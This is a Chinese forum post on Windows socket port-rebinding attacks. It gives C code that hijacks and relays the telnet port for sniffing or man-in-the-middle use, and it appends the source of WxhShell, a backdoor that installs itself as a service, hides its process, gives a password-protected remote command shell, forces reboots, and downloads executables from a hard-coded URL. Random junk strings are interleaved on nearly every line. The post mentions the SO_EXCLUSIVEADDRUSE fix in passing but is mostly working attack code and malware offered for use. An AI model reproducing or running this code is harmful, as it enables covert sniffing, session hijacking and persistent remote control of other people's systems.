社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12890阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L=gG23U&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #kgLdd"  
0lU pil  
  saddr.sin_family = AF_INET; N_E)f  
~!P&LZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F{E`MK~f_  
j9R+;u/!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 24k;.o  
deOk>v&U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3F$N@K~s  
\F14]`i  
  这意味着什么?意味着可以进行如下的攻击: -d[Gy- J  
Zfd `Fu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 v,Z?pYYo  
) 3ZkKv;zY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a28`)17z  
[&)*jc16  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QTU$mC]  
8{)N%r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I7+yu>  
Nv=&gOy=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Oo/@A_JO@  
Pk&$ #J_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W$J@|i  
h>A~yDT[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sC_doh_M  
TiKfIv  
  #include 1-.(pA'  
  #include 4veXg/l  
  #include L0*f(H  
  #include    Qp-P[Tc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,"5xKF+cS  
  int main() !?z"d  
  { \=H+m%  
  WORD wVersionRequested; 7 iQa)8,  
  DWORD ret; QtLd(& !v  
  WSADATA wsaData; aZmac'cz{  
  BOOL val; Q zY5S0  
  SOCKADDR_IN saddr; @%8$k[  
  SOCKADDR_IN scaddr; $U'*}S  
  int err; VuuF _y;  
  SOCKET s; `We?j7O  
  SOCKET sc; 6 )lWuY]e  
  int caddsize; ZQyXzERp  
  HANDLE mt; zor  
  DWORD tid;   +A1xqOB  
  wVersionRequested = MAKEWORD( 2, 2 ); !.7m4mKzo  
  err = WSAStartup( wVersionRequested, &wsaData ); NYeL1h)l  
  if ( err != 0 ) { dvLL~VP  
  printf("error!WSAStartup failed!\n"); 2^)_XVX1  
  return -1; -kb;h F}.  
  } ^xq)Q?[{  
  saddr.sin_family = AF_INET; Sc:)H2k`$  
   1cV0TUrz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y]Zp[!  
UPkc-^BN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |21*p#>  
  saddr.sin_port = htons(23); W(EN01d\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wq]vcY9^  
  { :M.]-+(  
  printf("error!socket failed!\n"); v V>=Uvm  
  return -1; I=;=;-  
  } ufN`=IJ%  
  val = TRUE; < Q6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `82^!7!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GD4+f|1.*  
  { LAuaowE\v  
  printf("error!setsockopt failed!\n"); %Lom#:L'  
  return -1; (R!`Z%  
  } ]3 76F7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X]s="^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -ug -rdXV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D 1(9/;9  
7|<-rjz^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o),@I#fM  
  { X(Lz&fkd  
  ret=GetLastError(); 1%7zCM0s  
  printf("error!bind failed!\n"); ODKS6E1{  
  return -1; :JK+V2B$H  
  } Q@rlqWgU ~  
  listen(s,2); !*}E  
  while(1) >[g.8'hI  
  { ,<;.'r  
  caddsize = sizeof(scaddr); {?X9juc/#  
  //接受连接请求 ew,g'$drD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T!|-dYYI  
  if(sc!=INVALID_SOCKET) P%ZU+ET  
  { W7w*VD|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _ 3{8Zg  
  if(mt==NULL) r|3<UR%  
  { 3u'@anre  
  printf("Thread Creat Failed!\n"); x";4)u=  
  break; BLb'7`t  
  } Ju_(,M-Vgr  
  } b7HT<$Wg  
  CloseHandle(mt); UZo[]$"Q`  
  } 8< z   
  closesocket(s); \j0016;  
  WSACleanup(); nr%P11U\c  
  return 0; *a` _,Q{x  
  }   FB O_B  
  DWORD WINAPI ClientThread(LPVOID lpParam) wdRk+  
  { pZ 7KWk4  
  SOCKET ss = (SOCKET)lpParam; |^O3~!JP(>  
  SOCKET sc; e*39/B0S  
  unsigned char buf[4096]; XXb,*u 3  
  SOCKADDR_IN saddr; LGWQBEXw  
  long num; T/q*k)IoR  
  DWORD val; &_3o1<  
  DWORD ret; <H|]^An!H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ca3 {e1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JiGS[tR  
  saddr.sin_family = AF_INET; *s!T$oc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Kp[5"N8  
  saddr.sin_port = htons(23); BUXlHh%<R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -_f-j  
  { 2`V(w[zTr  
  printf("error!socket failed!\n"); (n2=.9k!  
  return -1; [L?WM>]%  
  } VQbKrnX  
  val = 100; /Mw0<#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .FvIT] k-  
  { <\L=F8[  
  ret = GetLastError(); L F!S`|FF  
  return -1; ;RW5XnVx  
  } dDqT#N?Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z*WQ=l2  
  { XpdjWLO]C<  
  ret = GetLastError(); $~T|v7Y%  
  return -1; SKJ'6*6  
  } xsg55`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "Wy!,RH  
  { K?=g IC:  
  printf("error!socket connect failed!\n"); Kj+TP qXb  
  closesocket(sc); oi%IHX(`  
  closesocket(ss); ?IR+OCAA  
  return -1; LHq*E`  
  } <^adt *m  
  while(1) f4^\iZ{`G  
  { BsYJIKfW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s+a#x(7{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,772$7x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %D[6;PT  
  num = recv(ss,buf,4096,0); w=ZK=@  
  if(num>0) +\Je B/F  
  send(sc,buf,num,0); j`-9.  
  else if(num==0) 0fx.n  
  break; kQ.3J.Q5  
  num = recv(sc,buf,4096,0); 1P/4,D@  
  if(num>0) +P=I4-?eX  
  send(ss,buf,num,0); qhNYQ/uS  
  else if(num==0) /z4n?&tM  
  break; 3EyVoS6D  
  } m"vWu0/#  
  closesocket(ss); BSg 3  
  closesocket(sc); :BUr8%l  
  return 0 ; 'l._00yu  
  } _@sSVh$+  
y&2O)z!B  
@*JS[w$1  
========================================================== hJ(S]1B~G  
M1XzA `*  
下边附上一个代码,,WXhSHELL *YWk.  
eX o@3/  
========================================================== cnM`ywKW  
^ ]SU (kY  
#include "stdafx.h" rv %^2h<&  
]dnB ,  
#include <stdio.h> K[9{]$(Z  
#include <string.h> 86~q pN  
#include <windows.h> G\ /L.T  
#include <winsock2.h> trL8oZ6  
#include <winsvc.h> 8-q4'@(  
#include <urlmon.h> k; vhQ=  
@BqSu|'Du,  
#pragma comment (lib, "Ws2_32.lib") A@n//AZM  
#pragma comment (lib, "urlmon.lib") n<MreKixE  
:SVWi}:Co1  
#define MAX_USER   100 // 最大客户端连接数 8z* /J=n  
#define BUF_SOCK   200 // sock buffer %>,Kd6bdg  
#define KEY_BUFF   255 // 输入 buffer rq^VOK|L  
s@|TQ9e |j  
#define REBOOT     0   // 重启 RGLi#:0_.x  
#define SHUTDOWN   1   // 关机 c 4L++ u#  
CDWchY  
#define DEF_PORT   5000 // 监听端口 3mXRLx=0>  
s6_[H  
#define REG_LEN     16   // 注册表键长度 E=l^&[dIl  
#define SVC_LEN     80   // NT服务名长度 LZA pz}  
"@ @Z{  
// 从dll定义API +<n8O~h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pv,I_"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P>ZIP* Gr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >Q|S#(c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =%9j8wHX  
]D|Hq4ug  
// wxhshell配置信息 RU,!F99'1  
struct WSCFG { )5ISkbsxD  
  int ws_port;         // 监听端口 -\}Ix>  
  char ws_passstr[REG_LEN]; // 口令 ~)iQbLI  
  int ws_autoins;       // 安装标记, 1=yes 0=no G!w?\-  
  char ws_regname[REG_LEN]; // 注册表键名 ;Y`k-R:E6A  
  char ws_svcname[REG_LEN]; // 服务名 &y.6Hiy&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )[5.*g@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f=nVK4DuZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i UW.$1l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G0v<`/|>}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z229:L6"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w&LL-~KI+  
HH'5kE0;d  
}; O:W4W=K  
??=7pFm  
// default Wxhshell configuration oOHr~<  
struct WSCFG wscfg={DEF_PORT, Vc| uQ8Mi  
    "xuhuanlingzhe", [^A>hs*  
    1, p`3$NCJN  
    "Wxhshell", fnudu0k  
    "Wxhshell", |%5nV=&\  
            "WxhShell Service", %1e{"_$O9  
    "Wrsky Windows CmdShell Service", uzWz+atH  
    "Please Input Your Password: ", G>0 hi1  
  1, 2f.4P]s`T  
  "http://www.wrsky.com/wxhshell.exe", o'p[G]NQ1o  
  "Wxhshell.exe" &!O~ f  
    }; ^0T[V-PgiD  
\UBQ:+3  
// 消息定义模块 [Xo}CU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  FK|q*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F(;C \[Ep  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C\; $RH  
char *msg_ws_ext="\n\rExit."; 73kL>u  
char *msg_ws_end="\n\rQuit."; v(z2,?/4  
char *msg_ws_boot="\n\rReboot..."; XGMO~8 3  
char *msg_ws_poff="\n\rShutdown..."; 'Mm=<Bh  
char *msg_ws_down="\n\rSave to "; R%^AW2   
S#^-VZ~U4x  
char *msg_ws_err="\n\rErr!"; LkIbvJCV  
char *msg_ws_ok="\n\rOK!"; W1p5F\ wt  
-O?&+xIK&  
char ExeFile[MAX_PATH]; %%f(R7n  
int nUser = 0; dSIZsapH  
HANDLE handles[MAX_USER]; Zywx.@!  
int OsIsNt; x>~.cey  
Q1?0 ]5  
SERVICE_STATUS       serviceStatus; nwPU{4#l<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7NDjXcuq  
8S7 YVsDz"  
// 函数声明 [49Ae2W`  
int Install(void); ${)s ~[  
int Uninstall(void); \P7y&`|  
int DownloadFile(char *sURL, SOCKET wsh); vP{;'R  
int Boot(int flag); Gu@Znh-D  
void HideProc(void); 9EKc{1 z  
int GetOsVer(void); 6`;+|H<$  
int Wxhshell(SOCKET wsl); HVK./y qy  
void TalkWithClient(void *cs); LjMhPzCp  
int CmdShell(SOCKET sock); |!H@{o  
int StartFromService(void); #~`]eM5`J  
int StartWxhshell(LPSTR lpCmdLine); keL!;q|r-)  
,7|Wf %X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I 6Mr[#*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]<?7Cp P  
mL[Y{t#N  
// 数据结构和表定义 088"7 s  
SERVICE_TABLE_ENTRY DispatchTable[] = u3@v  
{ F otHITw[  
{wscfg.ws_svcname, NTServiceMain}, _f@, >l  
{NULL, NULL} D^e7%FX  
}; :T #"bY  
j9/Ev]im|F  
// 自我安装 $yg=tWk  
int Install(void) &u7oa  
{ om}jQJ]KH  
  char svExeFile[MAX_PATH]; N(BCe\FV  
  HKEY key; `<^1Ik[g  
  strcpy(svExeFile,ExeFile); cWNWgdk,`V  
!E|k#c9  
// 如果是win9x系统,修改注册表设为自启动 Wg ?P"  
if(!OsIsNt) { #Do#e {=+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2OQDG7#Kc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B!zqvShF  
  RegCloseKey(key); W;@9x1jK X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,=Fn6'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?sm@lDZ\  
  RegCloseKey(key); 7O.{g  
  return 0; 1I -LGe[Q  
    } %1jApCJ  
  } @"E{gM@B  
} j1{\nP/  
else { Om=*b#k  
Zc9j_.?*  
// 如果是NT以上系统,安装为系统服务 dn)pVti_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K0Zq )<  
if (schSCManager!=0) Jf{ M[ z  
{ r(::3TF%#q  
  SC_HANDLE schService = CreateService --9Z  
  ( Nu%:7  
  schSCManager, hfuGCD6F`  
  wscfg.ws_svcname, 'N?t=A  
  wscfg.ws_svcdisp, 3@7<e~f  
  SERVICE_ALL_ACCESS, -d8||X[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M?fRiOj  
  SERVICE_AUTO_START, }lzN)e  
  SERVICE_ERROR_NORMAL, p>@S61 & [  
  svExeFile, c&JYbq  
  NULL, Y?>us  
  NULL, A, )G$yT\  
  NULL, ] 336FgT  
  NULL, "Nn+Zw43  
  NULL bG6<=^  
  ); + $x;FT&  
  if (schService!=0) w>W`8P_b@  
  { T|&2!Sh  
  CloseServiceHandle(schService); 4: <=%d  
  CloseServiceHandle(schSCManager); :<$IGzw}.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X&qa3C})  
  strcat(svExeFile,wscfg.ws_svcname); '#b7Z?83C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _7M!b 9oA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ToB^/ n[  
  RegCloseKey(key); 5@{+V!o,  
  return 0; Mn=5yU  
    } +.b@rU6H  
  } 23;e/Qr  
  CloseServiceHandle(schSCManager); BOQeP/>  
} _2,eS[wP  
} <?I s~[2  
u70-HFI@  
return 1; pM i w9}  
} F}lgy;=h  
l< y9ue=  
// 自我卸载 *I(g~p  
int Uninstall(void) (cj3[qq  
{ (3=(g  
  HKEY key; P;dp>jL  
.u_k?.8|  
if(!OsIsNt) { XFg.Z+ #  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0kD8wj%  
  RegDeleteValue(key,wscfg.ws_regname); Yv`8{_8L  
  RegCloseKey(key); CY4_=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |=frsf~?  
  RegDeleteValue(key,wscfg.ws_regname); R;XR?59:.  
  RegCloseKey(key); dLSnhZ  
  return 0; B az:N 6u  
  } s\`Vr;R:|  
} |;-,(509  
} _0rHxh7}q  
else { $VrKoL\ScA  
P9p{j1*;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g1uqsqYt  
if (schSCManager!=0) | 3`qT#p{  
{ ; YaR|)B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }bv0~}G4  
  if (schService!=0) 7 \ <4LX  
  { ~Lc>~!!t  
  if(DeleteService(schService)!=0) { q-.e9eoc\  
  CloseServiceHandle(schService); !vQ!_|g1  
  CloseServiceHandle(schSCManager); 1@ j>2>i  
  return 0; G=8w9-Ww  
  } aqb;H 'F  
  CloseServiceHandle(schService); J9LS6~ 7  
  } I@=h|GM  
  CloseServiceHandle(schSCManager); X'&$wQ6,K  
} TgaDzF,j{A  
} / -=(51}E  
%(-YOTDr  
return 1; lK^Q#td:`  
} i;0`d0^  
,<lxq<1I  
// 从指定url下载文件 OU(z};Is6Z  
int DownloadFile(char *sURL, SOCKET wsh) ?CS jn  
{ kC R)k=*  
  HRESULT hr; FGOa! G  
char seps[]= "/"; ! 40t:+I  
char *token; v`hv5wQ  
char *file; \ooqa<_  
char myURL[MAX_PATH]; Gc9^Z=  
char myFILE[MAX_PATH]; ~^.&nph  
sQ^>.yG  
strcpy(myURL,sURL); 8-5a*vV,>  
  token=strtok(myURL,seps); x~GV#c  
  while(token!=NULL) r2T?LO0N{  
  { !dLz ?0  
    file=token; mm=Y(G[_%y  
  token=strtok(NULL,seps); ucj)t7O   
  } %6 <Pt  
YF{K9M!  
GetCurrentDirectory(MAX_PATH,myFILE); e76@-fg  
strcat(myFILE, "\\"); ![5<\  
strcat(myFILE, file); UBRMV s  
  send(wsh,myFILE,strlen(myFILE),0); e>t9\vN#bx  
send(wsh,"...",3,0); N,ik&NIWy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  FZ>*<&  
  if(hr==S_OK) JMOP/]%D  
return 0; 7/vr!tbL`p  
else ?E2k]y6<  
return 1; P:k(=CzZ@J  
w c%  
} A!k}  
=] 5;=>(  
// 系统电源模块 <nsl`C~6g0  
int Boot(int flag) *vhm  
{ tL+8nTL  
  HANDLE hToken; z s"AYxr  
  TOKEN_PRIVILEGES tkp; pOI+  
`Ik}Xw  
  if(OsIsNt) { 73~Mq7~8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }WGi9\9T&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F.8{ H9`  
    tkp.PrivilegeCount = 1; w=e,gNO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /&j4IlT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xs?7Whc6  
if(flag==REBOOT) { zF i+6I$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TiBE9  
  return 0; ,P"R.A  
} ;D8Nya>%  
else { wI}'wALhA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K=5_jE^e  
  return 0; :=L[kzX  
} !P Gow  
  } H5RHA^p|  
  else { Y)u} +Yg  
if(flag==REBOOT) { SbnV U[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3}:pD]`h  
  return 0; C6"!'6 W  
} _ z4rx  
else { nv$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )Elr8XLw  
  return 0; 9jPb-I-   
} 2Bjp{)*  
} 'fA D Dh}  
a3c4#'c|D  
return 1; nnGA_7-t  
} .`'SL''c  
Bhq(bV  
// win9x进程隐藏模块 @I"Aet'XV  
void HideProc(void)  ,O~2 R  
{ C-Fp)Zs{0  
'*,4F'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j [U0,]  
  if ( hKernel != NULL ) c?R.SBr,'  
  { _TPo=}Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jATU b-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H4:TYh  
    FreeLibrary(hKernel); 6$6NVq  
  } ESrWRO f9  
X3m?zQbhv  
return; *Ra")(RnDK  
} n&C9f9S  
5 N/ ]/  
// 获取操作系统版本 j=AJs<  
int GetOsVer(void) ONGe/CEXT  
{ mW-@-5Wda  
  OSVERSIONINFO winfo; fBLd5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qBNiuV;*  
  GetVersionEx(&winfo); `X^e}EGWu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YqJIp. Z  
  return 1; ^w12k2a  
  else fcZOsTj  
  return 0; `p?E{k.N  
} (&*F`\  
'9/kDkt!  
// 客户端句柄模块 654%X(:q  
int Wxhshell(SOCKET wsl) ;Z`)*TRp4  
{ 3QHZC0AY  
  SOCKET wsh; JZXc1R| 9  
  struct sockaddr_in client; )[K3p{4  
  DWORD myID; ibuI/VDF  
|"-,C}O  
  while(nUser<MAX_USER) ~Op1NE  
{ ww,c)$  
  int nSize=sizeof(client); u=l(W(9=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IB6]Wj  
  if(wsh==INVALID_SOCKET) return 1; ;?o C=c  
Km nr }Lp9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K?tk&0  
if(handles[nUser]==0) /< :; ^B  
  closesocket(wsh); "QF083$  
else ;dFe >`~  
  nUser++; VxFy[rP  
  } ``<1Lo@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^"l$p,P+  
Qm.kXlsDI  
  return 0; 0 \#Q;Z2  
} % *G)*n  
lewDR"0Kx  
// 关闭 socket 'AAY!{>  
void CloseIt(SOCKET wsh) f5a](&  
{ Xp~]kRm9  
closesocket(wsh); ;gMh]$|"  
nUser--; "P{&UwMmh  
ExitThread(0); u .2sB6}  
} W$JA4O>b  
'MUrszOO.e  
// 客户端请求句柄 qc6IH9i`  
void TalkWithClient(void *cs) %yMzgk[u  
{ `-H:j:U{  
YzZF^q^I  
  SOCKET wsh=(SOCKET)cs; .HBvs=i  
  char pwd[SVC_LEN]; (6BCFl:/Q<  
  char cmd[KEY_BUFF]; *e6|SZ &3  
char chr[1]; ger<JSL%  
int i,j; 1pb;A;F,A  
0uz"}v)  
  while (nUser < MAX_USER) { Rpk`fxAO  
`"H?nf0  
if(wscfg.ws_passstr) { Ds87#/Yfv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rxK0<pWJhx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K|G $s  
  //ZeroMemory(pwd,KEY_BUFF); ja;5:=8A5  
      i=0; Vi#im`@  
  while(i<SVC_LEN) { >>$|,Q-.  
[tzSr=,Cg  
  // 设置超时  {K9E% ,w  
  fd_set FdRead; c Vn+~m_%  
  struct timeval TimeOut; V)2_T!e%*  
  FD_ZERO(&FdRead); +*J4q5;E[?  
  FD_SET(wsh,&FdRead); c2^7"`  
  TimeOut.tv_sec=8; !_ Q!H2il  
  TimeOut.tv_usec=0; %d0S-.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aHC;p=RQ\A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .e"Qv*[^  
<dL04F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h,>L(=c$O  
  pwd=chr[0]; ^I{]Um:  
  if(chr[0]==0xd || chr[0]==0xa) { k Ml<  
  pwd=0; $t$f1?  
  break; =.E(p)fz  
  } gJ.6m&+  
  i++; h`]/3Ma*:  
    } &XRFX 5gP  
@6q$Zg/  
  // 如果是非法用户,关闭 socket v$G*TR<2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3}21bL  
} n:'BN([]o  
HiG/(<bs9O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f hG2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f^4*.~cB  
d5y2Y/QO  
while(1) { C[nr>   
? SP7vQ/  
  ZeroMemory(cmd,KEY_BUFF); -^H5z+"^  
~{YgM/c|dt  
      // 自动支持客户端 telnet标准   xD# I&.  
  j=0; o'7ju~0L  
  while(j<KEY_BUFF) { AtlR!I EUb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _CJr6Evs  
  cmd[j]=chr[0]; %GbPrlu  
  if(chr[0]==0xa || chr[0]==0xd) { 5vi#ItN}|  
  cmd[j]=0; F[=lA"F^  
  break; yl<$yd0Zdu  
  } [7 `Dgnmq  
  j++; j{R|]SjW2H  
    } |/^aL j^u  
1vs>2` DLa  
  // 下载文件 W lQ=CRY  
  if(strstr(cmd,"http://")) { 6Y )^)dOi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !* Z)[[  
  if(DownloadFile(cmd,wsh)) e K1m(E.=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pE/3-0;}N  
  else d4>-a^)V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1IQOl  
  } rg^\BUa-W,  
  else { 4VJzs$  
= )l:^+q  
    switch(cmd[0]) { "!Oh#Vf  
  DUKmwKM"k  
  // 帮助 yr9A0F0  
  case '?': { aE+$&_>ef  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .cS,T<$  
    break; 0aTbzOn&  
  } G\N"rG=  
  // 安装 7]xz8t  
  case 'i': { qm8n7Z/  
    if(Install()) ~oA9+mT5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m2uML*&O5K  
    else &9dr+o-(~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5rA!VES T  
    break; wu!_BCIy  
    } *<1x:PR  
  // 卸载 `V):V4!j),  
  case 'r': { uxMy 1oy  
    if(Uninstall()) "8iiRzt#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O"qa&3t%  
    else VgsCwJ9w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2<o[@w  
    break; [G[{l$Eit  
    } O|OSE  
  // 显示 wxhshell 所在路径 _2X6bIE  
  case 'p': { 8wpwJs&V  
    char svExeFile[MAX_PATH]; @~#79B"9&  
    strcpy(svExeFile,"\n\r"); 8pL>wL &C  
      strcat(svExeFile,ExeFile); Ky9No"o  
        send(wsh,svExeFile,strlen(svExeFile),0); XBWSO@M'  
    break; O4d^ig-xaH  
    } Rc:cVK  
  // 重启 M |Q  
  case 'b': { JeTrMa2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hrg=sR  
    if(Boot(REBOOT)) wy_;+ 'Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e|5B1rMM  
    else { tct 5*.|  
    closesocket(wsh); <x0uO  
